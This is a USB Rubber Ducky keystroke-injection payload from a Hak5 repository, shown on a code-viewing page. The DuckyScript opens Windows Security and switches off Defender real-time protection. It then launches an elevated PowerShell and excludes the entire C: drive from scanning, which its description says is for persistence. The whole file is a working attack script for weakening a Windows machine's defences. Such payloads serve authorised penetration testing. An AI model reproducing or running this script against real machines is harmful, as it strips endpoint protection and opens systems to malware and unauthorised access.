Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/general/Defeat_Defender/payload.txt
2968 views
1
REM Title: Disable Windows Defender
2
REM Author: Zero_Sploit (v1.0)
3
REM Updated: B33m0 (v1.1)
4
REM Updated: UberGuidoZ (v1.2)
5
REM Description: Opens security settings, disabled Defender, then adds an exception of drive C for persistence
6
REM Target: Windows 10/11 (Powershell)
7
REM Version: 1.2
8
9
REM Pause for everything to recognize and be ready
10
DELAY 2000
11
12
REM Open Windows Defender Settings
13
CTRL ESC
14
DELAY 750
15
STRING windows security
16
DELAY 250
17
ENTER
18
DELAY 1000
19
ENTER
20
21
REM Navigate to Manage Settings
22
DELAY 500
23
TAB
24
DELAY 100
25
TAB
26
DELAY 100
27
TAB
28
DELAY 100
29
TAB
30
DELAY 100
31
ENTER
32
DELAY 500
33
34
REM Open and turn off Realtime Protection
35
SPACE
36
DELAY 1000
37
ALT y
38
DELAY 1000
39
40
REM Exit security settings
41
ALT F4
42
DELAY 500
43
44
REM Open PowerShell
45
GUI r
46
DELAY 500
47
STRING powershell
48
CTRL-SHIFT ENTER
49
DELAY 1000
50
ALT y
51
DELAY 1000
52
53
REM Exclude drive C from Defender
54
STRING Add-MpPreference -ExclusionPath “C:”
55
ENTER
56
DELAY 2000
57
58
REM Exit Powershell
59
STRING EXIT
60
ENTER
61
62